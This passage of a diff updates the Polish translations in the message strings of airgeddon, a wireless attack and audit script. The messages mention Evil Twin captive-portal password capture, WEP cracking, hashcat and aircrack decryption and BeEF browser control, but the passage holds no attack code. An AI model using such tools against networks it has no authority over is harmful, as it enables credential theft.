nieoczekiwany błąd, zostaniesz przekierowany do ekranu głównego" et_misc_texts["ENGLISH",15]="Internet Portal" et_misc_texts["SPANISH",15]="Portal de Internet" @@ -243,7 +243,7 @@ function language_strings() { et_misc_texts["RUSSIAN",15]="Интернет-портал" et_misc_texts["GREEK",15]="Internet Portal" et_misc_texts["ITALIAN",15]="Portale Internet" - et_misc_texts["POLISH",15]="${pending_of_translation} Portal internetowy" + et_misc_texts["POLISH",15]="Portal internetowy" et_misc_texts["ENGLISH",16]="The password must be at least 8 characters" et_misc_texts["SPANISH",16]="La contraseña debe tener al menos 8 caracteres" @@ -253,7 +253,7 @@ function language_strings() { et_misc_texts["RUSSIAN",16]="Длина пароля должна быть не менее 8 символов" et_misc_texts["GREEK",16]="Ο κωδικός πρόσβασης πρέπει να αποτελείται από τουλάχιστον 8 χαρακτήρες" et_misc_texts["ITALIAN",16]="La password deve essere di almeno 8 caratteri" - et_misc_texts["POLISH",16]="${pending_of_translation} Hasło musi zawierać co najmniej 8 znaków" + et_misc_texts["POLISH",16]="Hasło musi mieć długość co najmniej 8 znaków" et_misc_texts["ENGLISH",17]="The password is incorrect, redirecting to the main screen" et_misc_texts["SPANISH",17]="La contraseña introducida es incorrecta, redirigiendo a la pantalla principal" @@ -263,7 +263,7 @@ function language_strings() { et_misc_texts["RUSSIAN",17]="Неправильный пароль, возврат на главную страницу" et_misc_texts["GREEK",17]="Ο κωδικός πρόσβασης είναι λανθασμένος, Θα καθοδηγηθείτε στην κύρια οθόνη" et_misc_texts["ITALIAN",17]="La password non è corretta, reindirizzando alla schermata principale" - et_misc_texts["POLISH",17]="${pending_of_translation} Wprowadzone hasło jest niepoprawne, przekierowanie do głównego ekranu" + et_misc_texts["POLISH",17]="Wprowadzone hasło jest niepoprawne, zostaniesz przekierowany do ekranu głównego" et_misc_texts["ENGLISH",18]="The password is correct, the connection will be restablished in a few moments" et_misc_texts["SPANISH",18]="La contraseña es correcta, la conexión se restablecerá en unos momentos" @@ -273,7 +273,7 @@ function language_strings() { et_misc_texts["RUSSIAN",18]="Пароль верен, подключение устанавливается" et_misc_texts["GREEK",18]="Ο κωδικός πρόσβασης είναι σωστός, η σύνδεση θα αποκατασταθεί σε λίγα λεπτά" et_misc_texts["ITALIAN",18]="La password è corretta, la connessione sará ripristinata in un momento" - et_misc_texts["POLISH",18]="${pending_of_translation} Hasło jest prawidłowe, połączenie zostanie przywrócone za chwilę" + et_misc_texts["POLISH",18]="Hasło jest prawidłowe, połączenie zostanie przywrócone za chwilę" et_misc_texts["ENGLISH",19]="airgeddon. Captive portal Evil Twin attack captured password" et_misc_texts["SPANISH",19]="airgeddon. Contraseña capturada en el portal cautivo del ataque Evil Twin" @@ -283,7 +283,7 @@ function language_strings() { et_misc_texts["RUSSIAN",19]="airgeddon. Атака Злой Двойник + Перехватывающий портал захватили пароль" et_misc_texts["GREEK",19]="airgeddon. Η επίθεση Evil Twin με captive portal κατέγραψε τον κωδικό πρόσβασης" et_misc_texts["ITALIAN",19]="airgeddon. Password catturata nel captive portal dell'attacco Evil Twin" - et_misc_texts["POLISH",19]="${pending_of_translation} airgeddon. Hasło zapisane na niewoli portalu ataku Evil Twin" + et_misc_texts["POLISH",19]="airgeddon. Hasło przechwycone podczas ataku captive portal Evil Twin" et_misc_texts["ENGLISH",20]="Attempts" et_misc_texts["SPANISH",20]="Intentos" @@ -293,7 +293,7 @@ function language_strings() { et_misc_texts["RUSSIAN",20]="Попытки" et_misc_texts["GREEK",20]="Προσπάθειες" et_misc_texts["ITALIAN",20]="Tentativi" - et_misc_texts["POLISH",20]="${pending_of_translation} Próby" + et_misc_texts["POLISH",20]="Próby" et_misc_texts["ENGLISH",21]="last password:" et_misc_texts["SPANISH",21]="última contraseña:" @@ -303,7 +303,7 @@ function language_strings() { et_misc_texts["RUSSIAN",21]="последний пароль:" et_misc_texts["GREEK",21]="τελευταίος κωδικός πρόσβασης:" et_misc_texts["ITALIAN",21]="ultima password:" - et_misc_texts["POLISH",21]="${pending_of_translation} ostatnie hasło:" + et_misc_texts["POLISH",21]="ostatnie hasło:" et_misc_texts["ENGLISH",22]="Captured passwords on failed attemps" et_misc_texts["SPANISH",22]="Contraseñas capturadas en intentos fallidos" @@ -313,7 +313,7 @@ function language_strings() { et_misc_texts["RUSSIAN",22]="Пароли, захваченные в неудачных попытках" et_misc_texts["GREEK",22]="Καταγεγραμμένοι κωδικοί πρόσβασης σε αποτυχημένες προσπάθειες" et_misc_texts["ITALIAN",22]="Password catturate in tentativi falliti" - et_misc_texts["POLISH",22]="${pending_of_translation} Hasła przechwycone podczas nieudanych prób" + et_misc_texts["POLISH",22]="Hasła przechwycone podczas nieudanych prób" et_misc_texts["ENGLISH",23]="Password captured successfully" et_misc_texts["SPANISH",23]="Contraseña capturada con éxito" @@ -323,7 +323,7 @@ function language_strings() { et_misc_texts["RUSSIAN",23]="Пароль успешно захвачен" et_misc_texts["GREEK",23]="Ο κωδικός πρόσβασης καταγράφτηκε επιτυχώς" et_misc_texts["ITALIAN",23]="Password catturata con successo" - et_misc_texts["POLISH",23]="${pending_of_translation} Hasło zostało pomyślnie przechwycone" + et_misc_texts["POLISH",23]="Hasło zostało pomyślnie przechwycone" et_misc_texts["ENGLISH",24]="The password was saved on file" et_misc_texts["SPANISH",24]="La contraseña se ha guardado en el fichero" @@ -333,7 +333,7 @@ function language_strings() { et_misc_texts["RUSSIAN",24]="Пароль был сохранён в файле" et_misc_texts["GREEK",24]="Ο κωδικός πρόσβασης αποθηκεύτηκε σε αρχείο" et_misc_texts["ITALIAN",24]="La password è stata salvata nel file" - et_misc_texts["POLISH",24]="${pending_of_translation} Hasło zostało zapisane w pliku" + et_misc_texts["POLISH",24]="Hasło zostało zapisane do pliku" et_misc_texts["ENGLISH",25]="Press [Enter] on the main script window to continue, this window will be closed" et_misc_texts["SPANISH",25]="Pulsa [Enter] en la ventana principal del script para continuar, esta ventana se cerrará" @@ -343,7 +343,7 @@ function language_strings() { et_misc_texts["RUSSIAN",25]="Нажмите [Enter] в главном окне для продолжения, это окно будет закрыто" et_misc_texts["GREEK",25]="Πατήστε [Enter] στο κύριο παράθυρο του script για να συνεχίσετε, το παράθυρο αυτό θα κλείσει" et_misc_texts["ITALIAN",25]="Premere il tasto [Enter] nella finestra principale dello script per continuare, questa finestra si chiuderà" - et_misc_texts["POLISH",25]="${pending_of_translation} Wciśnij [Enter] w oknie głównym skryptu, aby kontynuować, to okno zostanie zamknięte" + et_misc_texts["POLISH",25]="Wciśnij [Enter] w oknie głównym skryptu aby kontynuować, to okno zostanie zamknięte" et_misc_texts["ENGLISH",26]="Error. The password must be at least 8 characters. Redirecting to the main screen" et_misc_texts["SPANISH",26]="Error. La contraseña debe tener al menos 8 caracteres. Redirigiendo a la pantalla principal" @@ -353,7 +353,7 @@ function language_strings() { et_misc_texts["RUSSIAN",26]="Ошибка. В пароле должно быть не менее 8 символов. Перенаправление на главную страницу" et_misc_texts["GREEK",26]="Σφάλμα. Ο κωδικός πρόσβασης πρέπει να αποτελείται από τουλάχιστον 8 χαρακτήρες. Θα καθοδηγηθείτε στην κύρια οθόνη" et_misc_texts["ITALIAN",26]="Errore. La password deve essere di almeno 8 caratteri. Reindirizzando alla schermata principale" - et_misc_texts["POLISH",26]="${pending_of_translation} Błąd. Hasło musi mieć co najmniej 8 znaków. Przekierowywanie do głównego ekranu" + et_misc_texts["POLISH",26]="Błąd. Hasło musi mieć co najmniej 8 znaków. Przekierowywanie do ekranu głównego" et_misc_texts["ENGLISH",27]="This attack has two parts. Watch the sniffer's screen to see if a password appears. You can also open BeEF control panel at ${white_color}${beef_control_panel_url}${pink_color} , log in (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) and try to control the clients browser" et_misc_texts["SPANISH",27]="Este ataque tiene dos partes. Estate atento a la pantalla del sniffer para ver si aparece alguna contraseña. También puedes abrir el panel de control de BeEF en ${white_color}${beef_control_panel_url}${pink_color} , hacer login (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) e intentar controlar el navegador de los clientes" @@ -363,7 +363,7 @@ function language_strings() { et_misc_texts["RUSSIAN",27]="Эта атака идёт по двум направлениям. Вы можете наблюдать за окном сниффера, чтобы отследить появление пароля. Также можете перейти в панель управления BeEF ${white_color}${beef_control_panel_url}${pink_color} , учётные данные для входа (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) и попытаться управлять браузером клиентов" et_misc_texts["GREEK",27]="Αυτή η επίθεση έχει δύο μέρη. Παρακολουθήστε την οθόνη του sniffer για να δείτε εαν εμφανιστεί κάποιος κωδικός. Μπορείτε επίσης να ανοίξετε τον πίνακα ελέγχου του BeEF στο ${white_color}${beef_control_panel_url}${pink_color} , συνδεθείτε (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) και προσπαθείστε να ελέγξετε τον browser του χρήστη-πελάτη" et_misc_texts["ITALIAN",27]="Questo attacco è composto da due parti. Presta attenzione alla schermata dello sniffer per vedere se compare una password. È inoltre possibile aprire il pannello di controllo di BeEF in ${white_color}${beef_control_panel_url}${pink_color} , effettuare il login (utente: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) e cercare di controllare il navigatore degli utenti" - et_misc_texts["POLISH",27]="${pending_of_translation} Ten atak ma dwie części. Bądź na bieżąco z ekranem sniffer, aby sprawdzić, czy pojawia się hasło. Możesz także otworzyć panel sterowania BeEF w ${white_color}${beef_control_panel_url}${pink_color} , zaloguj się (użytkownik: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) i spróbuj kontrolować przeglądarkę klientów" + et_misc_texts["POLISH",27]="Ten atak ma dwie części. Obserwuj ekran sniffera aby sprawdzić, czy pojawia się hasło. Możesz także otworzyć panel sterowania BeEF w ${white_color}${beef_control_panel_url}${pink_color} , zaloguj się (użytkownik: ${white_color}beef${pink_color} / hasło: ${white_color}${beef_pass}${pink_color}) i spróbuj kontrolować przeglądarkę klientów" declare -gA wep_texts wep_texts["ENGLISH",1]="airgeddon. Captured password during WEP attack" @@ -374,7 +374,7 @@ function language_strings() { wep_texts["RUSSIAN",1]="airgeddon. В атаке WEP захвачен пароль" wep_texts["GREEK",1]="airgeddon. Ο κωδικός πρόσβασης κατά την διάρκεια της επίθεσης WEP" wep_texts["ITALIAN",1]="airgeddon. Password catturata con l'attacco WEP" - wep_texts["POLISH",1]="${pending_of_translation} airgeddon. Hasło zrobione podczas ataku WEP" + wep_texts["POLISH",1]="airgeddon. Hasło przechwycone podczas ataku WEP" wep_texts["ENGLISH",2]="Channel" wep_texts["SPANISH",2]="Canal" @@ -384,7 +384,7 @@ function language_strings() { wep_texts["RUSSIAN",2]="Канал" wep_texts["GREEK",2]="Κανάλι" wep_texts["ITALIAN",2]="Canale" - wep_texts["POLISH",2]="${pending_of_translation} Kanał" + wep_texts["POLISH",2]="Kanał" wep_texts["ENGLISH",3]="Hexadecimal" wep_texts["SPANISH",3]="Hexadecimal" @@ -394,7 +394,7 @@ function language_strings() { wep_texts["RUSSIAN",3]="Шестнадцатеричный" wep_texts["GREEK",3]="Δεκαεξαδικό" wep_texts["ITALIAN",3]="Esadecimale" - wep_texts["POLISH",3]="${pending_of_translation} Szesnastkowa" + wep_texts["POLISH",3]="Hexadecymalny" wep_texts["ENGLISH",4]="WEP key decrypted successfully:" wep_texts["SPANISH",4]="Clave WEP desencriptada con éxito:" @@ -404,7 +404,7 @@ function language_strings() { wep_texts["RUSSIAN",4]="Ключ WEP расшифрован:" wep_texts["GREEK",4]="Το κλειδί WEP αποκρυπτογραφήθηκε με επιτυχία:" wep_texts["ITALIAN",4]="Chiave WEP decifrata con successo:" - wep_texts["POLISH",4]="${pending_of_translation} Zdekodowany klucz WEP odszyfrowywany:" + wep_texts["POLISH",4]="Klucz WEP odszyfrowywany prawidłowo:" wep_texts["ENGLISH",5]="WEP AP Info" wep_texts["SPANISH",5]="Info WEP AP" @@ -414,7 +414,7 @@ function language_strings() { wep_texts["RUSSIAN",5]="Информация о WEP ТД" wep_texts["GREEK",5]="Πληροφορίες WEP AP" wep_texts["ITALIAN",5]="Info WEP AP" - wep_texts["POLISH",5]="${pending_of_translation} Informacja dotycząca AP WEP" + wep_texts["POLISH",5]="Informacja o AP WEP" wep_texts["ENGLISH",6]="The password was saved on file" wep_texts["SPANISH",6]="La contraseña se ha guardado en el fichero" @@ -424,7 +424,7 @@ function language_strings() { wep_texts["RUSSIAN",6]="Пароль был сохранён в файле" wep_texts["GREEK",6]="Ο κωδικός πρόσβασης αποθηκεύτηκε σε αρχείο" wep_texts["ITALIAN",6]="La password è stata salvata nel file" - wep_texts["POLISH",6]="${pending_of_translation} Hasło zostało zapisane w pliku" + wep_texts["POLISH",6]="Hasło zostało zapisane do pliku" wep_texts["ENGLISH",7]="Press [Enter] on the main script window to continue, this window will be closed" wep_texts["SPANISH",7]="Pulsa [Enter] en la ventana principal del script para continuar, esta ventana se cerrará" @@ -434,7 +434,7 @@ function language_strings() { wep_texts["RUSSIAN",7]="Нажмите [Enter] в главном окне для продолжения, это окно будет закрыто" wep_texts["GREEK",7]="Πατήστε [Enter] στο κύριο παράθυρο του script για να συνεχίσετε, το παράθυρο αυτό θα κλείσει" wep_texts["ITALIAN",7]="Premere il tasto [Enter] nella finestra principale dello script per continuare, questa finestra si chiuderà" - wep_texts["POLISH",7]="${pending_of_translation} Wciśnij [Enter] w oknie głównym skryptu, aby kontynuować, to okno zostanie zamknięte" + wep_texts["POLISH",7]="Wciśnij [Enter] w oknie głównym skryptu aby kontynuować, to okno zostanie zamknięte" declare -gA hashcat_texts hashcat_texts["ENGLISH",1]="airgeddon. Decrypted password using hashcat" @@ -445,7 +445,7 @@ function language_strings() { hashcat_texts["RUSSIAN",1]="airgeddon. Пароль расшифрован с использованием hashcat" hashcat_texts["GREEK",1]="airgeddon. Αποκρυπτογραφημένος κωδικός πρόσβασης με χρήση hashcat" hashcat_texts["ITALIAN",1]="airgeddon. Password decifrata con hashcat" - hashcat_texts["POLISH",1]="${pending_of_translation} airgeddon. Odszyfrowany hasłem hashcat" + hashcat_texts["POLISH",1]="airgeddon. Hasło odszyfrowane z użyciem hashcat" declare -gA aircrack_texts aircrack_texts["ENGLISH",1]="airgeddon. Decrypted password using aircrack" @@ -456,7 +456,7 @@ function language_strings() { aircrack_texts["RUSSIAN",1]="airgeddon. Пароль расшифрован с использованием aircrack" aircrack_texts["GREEK",1]="airgeddon. Αποκρυπτογραφημένος κωδικός πρόσβασης με χρήση aircrack" aircrack_texts["ITALIAN",1]="airgeddon. Password decifrata con aircrack" - aircrack_texts["POLISH",1]="${pending_of_translation} airgeddon. Odszyfrowane hasło z aircrack" + aircrack_texts["POLISH",1]="airgeddon. Hasło odszyfrowane z użyciem aircrack" declare -gA footer_texts footer_texts["ENGLISH",1]="If you enjoyed the script and found it useful, you can support the project by making a donation. Through Paypal (${mail}) or sending a fraction of a bitcoin (${bitcoin}). Any amount, no matter how small (1, 2, 5 $/€) is welcome. More information and direct links to do it at: ${urlgithub_wiki}/Contributing" @@ -467,7 +467,7 @@ function language_strings() { footer_texts["RUSSIAN",1]="Если вам понравилась эта программа и она оказался для вас полезной, вы можете поддержать проект, сделав пожертвование. Через PayPal (${mail}) или отправив часть биткойна на (${bitcoin}). Приветствуется любая сумма, даже небольшая (1, 2, 5 $/€). Более подробную информацию и прямые ссылки можно получить по адресу: ${urlgithub_wiki}/Contributing" footer_texts["GREEK",1]="Εαν ευχαριστηθήκατε το script και το βρήκατε χρήσιμο, μπορείτε να υποστηρίξετε το project κάνοντας κάποια δωρεά. Μέσω του Paypal (${mail}) ή στέλνοντας κάποιο ποσοστό bitcoin (${bitcoin}). Είναι καλοδεχούμενο οποιοδήποτε ποσό (1, 2, 5 $/€), δεν έχει σημασία το πόσο λίγο μπορεί να είναι. Δίνονται περισσότερες πληροφορίες και links για να κάνετε δωρεά στη διεύθυνση: ${urlgithub_wiki}/Contributing" footer_texts["ITALIAN",1]="Se ti è piaciuto lo script e l'hai trovato utile, è possibile sostenere il progetto con una donazione. Attraverso PayPal (${mail}) o inviando una frazione di bitcoin (${bitcoin}). Qualsiasi importo per quanto piccolo (1, 2, 5 $/€) è ben accolto. Ulteriori informazioni e collegamenti diretti per effettuare la donazione in: ${urlgithub_wiki}/Contributing" - footer_texts["POLISH",1]="${pending_of_translation} Jeśli podobał Ci się ten scenariusz i okazał się użyteczny, możesz poprzeć ten projekt, składając darowiznę. Za pośrednictwem usługi Paypal (${mail}) lub wysyłając ułamek bitcoin (${bitcoin}). Zapraszamy wszystkich małych (1, 2, 5 $/€) małych rozmiarów. Więcej informacji i linki do: ${urlgithub_wiki}/Contributing" + footer_texts["POLISH",1]="Jeśli podobał Ci się ten skrypt i okazał się użyteczny, możesz poprzeć ten projekt, składając donację. Za pośrednictwem usługi Paypal (${mail}) lub wysyłając ułamek bitcoin (${bitcoin}). Każda kwota, nawet malutka (1, 2, 5 $/€) będzie mile widziana. Więcej informacji i linki do donacji: ${urlgithub_wiki}/Contributing" declare -A arr arr["ENGLISH",0]="This interface ${current_iface_on_messages} is already in managed mode" @@ -478,7 +478,7 @@ function language_strings() { arr["RUSSIAN",0]="Этот интерфейс ${current_iface_on_messages} уже в управляемом режиме" arr["GREEK",0]="Αυτή η διεπαφή ${current_iface_on_messages} είναι ήδη σε ετερόκλητη κατάσταση" arr["ITALIAN",0]="Questa interfaccia ${current_iface_on_messages} è già in modalità managed" - arr["POLISH",0]="${pending_of_translation} Ten interfejs ${current_iface_on_messages} jest już w trybie zarządzania" + arr["POLISH",0]="Ten interfejs ${current_iface_on_messages} jest już w trybie managed" arr["ENGLISH",1]="This interface ${current_iface_on_messages} is not a wifi card. It doesn't support managed mode" arr["SPANISH",1]="Esta interfaz ${current_iface_on_messages} no es una tarjeta wifi. No soporta modo managed" @@ -488,7 +488,7 @@ function language_strings() { arr["RUSSIAN",1]="Этот интерфейс ${current_iface_on_messages} не является wifi картой. Он не поддерживает управляемый режим" arr["GREEK",1]="Αυτή η διεπαφή ${current_iface_on_messages} δεν είναι κάρτα wifi. Δεν υποστηρίζει ετερόκλητη κατάσταση." arr["ITALIAN",1]="Questa interfaccia ${current_iface_on_messages} non è una scheda wifi. Non supporta la modalità managed" - arr["POLISH",1]="${pending_of_translation} Interfejs ${current_iface_on_messages} nie jest kartą wifi. Nie obsługuje trybu zarządzania" + arr["POLISH",1]="Interfejs ${current_iface_on_messages} nie jest kartą wifi. Nie obsługuje trybu zarządzania" arr["ENGLISH",2]="English O.S. language detected. Supported by script. Automatically changed" arr["SPANISH",2]="Idioma Español del S.O. detectado. Soportado por el script. Se cambió automáticamente" @@ -498,7 +498,7 @@ function language_strings() { arr["RUSSIAN",2]="Определена ОС на русском. Поддерживается скриптом. Локализация автоматически изменена. Помощь на русском: https://hackware.ru/?p=670" arr["GREEK",2]="Εντοπίστηκε Ελληνική γλώσσα συστήματος. Υποστηρίξιμη από το script. Άλλαξε αυτόματα" arr["ITALIAN",2]="Lingua Italiana del S.O. rilevata. Supportata dallo script. Viene cambiata automaticamente" - arr["POLISH",2]="${pending_of_translation} Język Polski O.S. wykryto. Obsługiwane przez skrypt. Automatycznie zmieniono" + arr["POLISH",2]="Wykryto system operacyjny w języku Polskim. Obsługiwany przez skrypt. Zmieniono automatycznie" arr["ENGLISH",3]="Select target network :" arr["SPANISH",3]="Selecciona la red objetivo :" @@ -508,7 +508,7 @@ function language_strings() { arr["RUSSIAN",3]="Выбор целевой сети :" arr["GREEK",3]="Διαλέξτε δίκτυο :" arr["ITALIAN",3]="Scegliere una rete come obiettivo :" - arr["POLISH",3]="${pending_of_translation} Wybierz sieć docelową :" + arr["POLISH",3]="Wybierz sieć docelową :" arr["ENGLISH",4]="Press [Enter] key to start attack..." arr["SPANISH",4]="Pulse la tecla [Enter] para comenzar el ataque..." @@ -518,7 +518,7 @@ function language_strings() { arr["RUSSIAN",4]="Нажмите клавишу [Enter] для начала атаки..." arr["GREEK",4]="Πατήστε [Enter] για να ξεκινήσει η επίθεση..." arr["ITALIAN",4]="Premere il tasto [Enter] per iniziare l'attacco..." - arr["POLISH",4]="${pending_of_translation} Naciśnij klawisz [Enter], aby rozpocząć atak..." + arr["POLISH",4]="Naciśnij klawisz [Enter], aby rozpocząć atak..." arr["ENGLISH",5]="It looks like your internet connection is unstable. The script can't connect to repository. It will continue without updating..." arr["SPANISH",5]="Parece que tu conexión a internet no es estable. El script no puede conectar al repositorio. Continuará sin actualizarse..." @@ -528,7 +528,7 @@ function language_strings() { arr["RUSSIAN",5]="Интернет-подключение кажется нестабильным. Скрипт не может подключиться к репозиторию. Он продолжит без обновления..." arr["GREEK",5]="Φαίνεται πως η σύνδεση με το διαδίκτυο δεν είναι σταθερή. Το script δεν μπορεί να συνδεθεί στο αποθετήριο. Θα συνεχίσει χωρίς να έχει ενημερωθεί..." arr["ITALIAN",5]="Sembra che la connessione a internet non sia stabile. Lo script non riesce a connettersi al repository. Continuerà senza aggiornarsi..." - arr["POLISH",5]="${pending_of_translation} Wygląda na to, że połączenie internetowe nie jest stabilne. Skrypt nie może połączyć się z repozytorium. Będzie kontynuowane bez aktualizacji..." + arr["POLISH",5]="Wygląda na to, że połączenie internetowe nie jest stabilne. Skrypt nie może połączyć się z repozytorium. Będzie kontynuowany bez aktualizacji..." arr["ENGLISH",6]="Welcome to airgeddon script v${airgeddon_version}" arr["SPANISH",6]="Bienvenid@ a airgeddon script v${airgeddon_version}" @@ -538,7 +538,7 @@ function language_strings() { arr["RUSSIAN",6]="Добро пожаловать в скрипт airgeddon v${airgeddon_version}" arr["GREEK",6]="Καλωσήρθατε στο airgeddon v${airgeddon_version}" arr["ITALIAN",6]="Benvenuti a airgeddon script v${airgeddon_version}" - arr["POLISH",6]="${pending_of_translation} Witamy w skrypcie airgeddon v${airgeddon_version}" + arr["POLISH",6]="Witaj w skrypcie airgeddon v${airgeddon_version}" arr["ENGLISH",7]="This script is only for educational purposes. Be good boyz&girlz!" arr["SPANISH",7]="Este script se ha hecho sólo con fines educativos. Sed buen@s chic@s!" @@ -548,7 +548,7 @@ function language_strings() { arr["RUSSIAN",7]="Этот скрипт только для образовательных целей. Будьте хорошими мальчиками и девочками!" arr["GREEK",7]="Αυτό το script είναι για διδακτικούς σκοπούς. Να είστε φρόνιμοι!" arr["ITALIAN",7]="Questo script è stato fatto solo per scopi didattici. Fate i bravi!" - arr["POLISH",7]="${pending_of_translation} Ten skrypt został wykonany tylko do celów edukacyjnych. Zachowuj się dobrze!" + arr["POLISH",7]="$Ten skrypt został napisany tylko do celów edukacyjnych. Bądź grzeczny!" arr["ENGLISH",8]="Known compatible distros with this script :" arr["SPANISH",8]="Distros conocidas compatibles con este script :" @@ -558,7 +558,7 @@ function language_strings() { arr["RUSSIAN",8]="Дистрибутивы о которых известно, что они совместимы со скриптом :" arr["GREEK",8]="Γνώστες εκδόσεις που υποστηρίζουν αυτό το script :" arr["ITALIAN",8]="Distribuzioni note compatibili con questo script :" - arr["POLISH",8]="${pending_of_translation} Znane distro kompatybilne z tym skryptem :" + arr["POLISH",8]="Znane dystrybucje kompatybilne z tym skryptem :" arr["ENGLISH",9]="Detecting system..." arr["SPANISH",9]="Detectando sistema..." @@ -568,7 +568,7 @@ function language_strings() { arr["RUSSIAN",9]="Определяем систему..." arr["GREEK",9]="Το σύστημα εντοπίζεται..." arr["ITALIAN",9]="Rilevando sistema..." - arr["POLISH",9]="${pending_of_translation} System wykrywania..." + arr["POLISH",9]="Wykrywanie systemu..." arr["ENGLISH",10]="This interface ${current_iface_on_messages} is already in monitor mode" arr["SPANISH",10]="Esta interfaz ${current_iface_on_messages} ya está en modo monitor" @@ -578,7 +578,7 @@ function language_strings() { arr["RUSSIAN",10]="Этот интерфейс ${current_iface_on_messages} уже в режиме монитора" arr["GREEK",10]="Αυτή η διεπαφή ${current_iface_on_messages} είναι ήδη σε κατάσταση παρακολούθησης" arr["ITALIAN",10]="Questa interfaccia ${current_iface_on_messages} è già in modalità monitor" - arr["POLISH",10]="${pending_of_translation} Ten interfejs ${current_iface_on_messages} jest już w trybie monitorowania" + arr["POLISH",10]="Ten interfejs ${current_iface_on_messages} jest już w trybie monitorowania" arr["ENGLISH",11]="Exiting airgeddon script v${airgeddon_version} - See you soon! :)" arr["SPANISH",11]="Saliendo de airgeddon script v${airgeddon_version} - Nos vemos pronto! :)" @@ -588,7 +588,7 @@ function language_strings() { arr["RUSSIAN",11]="Выход из скрипта airgeddon v${airgeddon_version} - До встречи! :)" arr["GREEK",11]="Κλείσιμο του airgeddon v${airgeddon_version} - Αντίο :)" arr["ITALIAN",11]="Abbandonando airgeddon script v${airgeddon_version} - A presto! :)" - arr["POLISH",11]="${pending_of_translation} Wyjście z skryptu airgeddon v${airgeddon_version} - Do zobaczenia wkrótce! :)" + arr["POLISH",11]="Wyjście z skryptu airgeddon v${airgeddon_version} - Do zobaczenia wkrótce! :)" arr["ENGLISH",12]="${blue_color}Interruption detected. ${green_color}Do you really want to exit? ${normal_color}${visual_choice}" arr["SPANISH",12]="${blue_color}Detectada interrupción. ${green_color}¿Quieres realmente salir del script? ${normal_color}${visual_choice}" @@ -598,7 +598,7 @@ function language_strings() { arr["RUSSIAN",12]="${blue_color}Обнаружено прерывание. ${green_color}Вы действительно хотите выйти? ${normal_color}${visual_choice}" arr["GREEK",12]="${blue_color}Εντοπίστηκε διακοπή. ${green_color}Είστε σίγουροι ότι θέλετε να τερματίσετε το script; ${normal_color}${visual_choice}" arr["ITALIAN",12]="${blue_color}Rilevata interruzione. ${green_color}Vuoi davvero uscire dallo script? ${normal_color}${visual_choice}" - arr["POLISH",12]="${pending_of_translation} ${blue_color}Wykryto przerwanie. ${green_color}Czy naprawdę chcesz wyjść z scenariusza? ${normal_color}${visual_choice}" + arr["POLISH",12]="${blue_color}Wykryto przerwanie. ${green_color}Czy naprawdę chcesz wyjść ze skryptu? ${normal_color}${visual_choice}" arr["ENGLISH",13]="This interface ${current_iface_on_messages} is not a wifi card. It doesn't support monitor mode" arr["SPANISH",13]="Esta interfaz ${current_iface_on_messages} no es una tarjeta wifi. No soporta modo monitor" @@ -608,7 +608,7 @@ function language_strings() { arr["RUSSIAN",13]="Этот интерфейс ${current_iface_on_messages} не является wifi картой. Он не поддерживает режим монитора" arr["GREEK",13]="Αυτή η διεπαφή ${current_iface_on_messages} δεν έιναι κάρτα wifi. Δεν υποστηρίζει κατάσταση παρακολούθησης" arr["ITALIAN",13]="Questa interfaccia ${current_iface_on_messages} non è una scheda wifi. Non supporta la modalità del monitor" - arr["POLISH",13]="${pending_of_translation} Interfejs ${current_iface_on_messages} nie jest kartą wifi. Nie obsługuje trybu monitora" + arr["POLISH",13]="Interfejs ${current_iface_on_messages} nie jest kartą wifi. Nie obsługuje trybu monitorowania" arr["ENGLISH",14]="This interface ${current_iface_on_messages} is not in monitor mode" arr["SPANISH",14]="Esta interfaz ${current_iface_on_messages} no está en modo monitor" @@ -618,7 +618,7 @@ function language_strings() { arr["RUSSIAN",14]="Этот интерфейс ${current_iface_on_messages} не в режиме монитора" arr["GREEK",14]="Αυτή η διεπαφή ${current_iface_on_messages} δεν είναι σε κατάσταση παρακολούθησης" arr["ITALIAN",14]="Questa interfaccia ${current_iface_on_messages} non è in modalità monitor" - arr["POLISH",14]="${pending_of_translation} Ten interfejs ${current_iface_on_messages} nie jest w trybie monitorowania" + arr["POLISH",14]="Ten interfejs ${current_iface_on_messages} nie jest w trybie monitorowania" arr["ENGLISH",15]="The interface changed its name while putting in managed mode. Autoselected" arr["SPANISH",15]="Esta interfaz ha cambiado su nombre al ponerse en modo managed. Se ha seleccionado automáticamente" @@ -628,7 +628,7 @@ function language_strings() { arr["RUSSIAN",15]="Интерфейс изменил имя во время перевода в управляемый режим. Выбран автоматически" arr["GREEK",15]="Η διεπάφη άλλαξε όνομα καθώς ήταν σε ετερόκλητη κατάσταση. Επιλέχθηκε αυτόματα" arr["ITALIAN",15]="Questa interfaccia ha cambiato il suo nome passando in modalità managed. È stata selezionata automaticamente" - arr["POLISH",15]="${pending_of_translation} Interfejs ten zmienił nazwę, gdy jest umieszczony w trybie zarządzania. Automatycznie zaznaczone" + arr["POLISH",15]="Ten interfejs zmienił nazwę w trakcie uruchamiania trybu zarządzania. Wybrany automatycznie" arr["ENGLISH",16]="Managed mode now is set on ${current_iface_on_messages}" arr["SPANISH",16]="Se ha puesto el modo managed en ${current_iface_on_messages}" @@ -638,7 +638,7 @@ function language_strings() { arr["RUSSIAN",16]="Управляемый режим теперь установлен на ${current_iface_on_messages}" arr["GREEK",16]="Η διεπαφή ${current_iface_on_messages} είναι τώρα σε ετερόκλητη κατάσταση" arr["ITALIAN",16]="${current_iface_on_messages} è stata configurata in modalitá managed" - arr["POLISH",16]="${pending_of_translation} Tryb zarządzany został ustawiony na ${current_iface_on_messages}" + arr["POLISH",16]="Tryb zarządzany został ustawiony na ${current_iface_on_messages}" arr["ENGLISH",17]="Putting your interface in managed mode..." arr["SPANISH",17]="Poniendo la interfaz en modo managed..." @@ -648,7 +648,7 @@ function language_strings() { arr["RUSSIAN",17]="Переводим ваш интерфейс в управляемый режим..." arr["GREEK",17]="Ενεργοποιείται η ετερόκλητη κατάσταση στην διεπαφή..." arr["ITALIAN",17]="Mettendo l'interfaccia in modalità managed..." - arr["POLISH",17]="${pending_of_translation} Umieszczanie interfejsu w trybie zarządzania..." + arr["POLISH",17]="Ustawianie interfejsu w trybie zarządzania..." arr["ENGLISH",18]="Putting your interface in monitor mode..." arr["SPANISH",18]="Poniendo la interfaz en modo monitor..." @@ -658,7 +658,7 @@ function 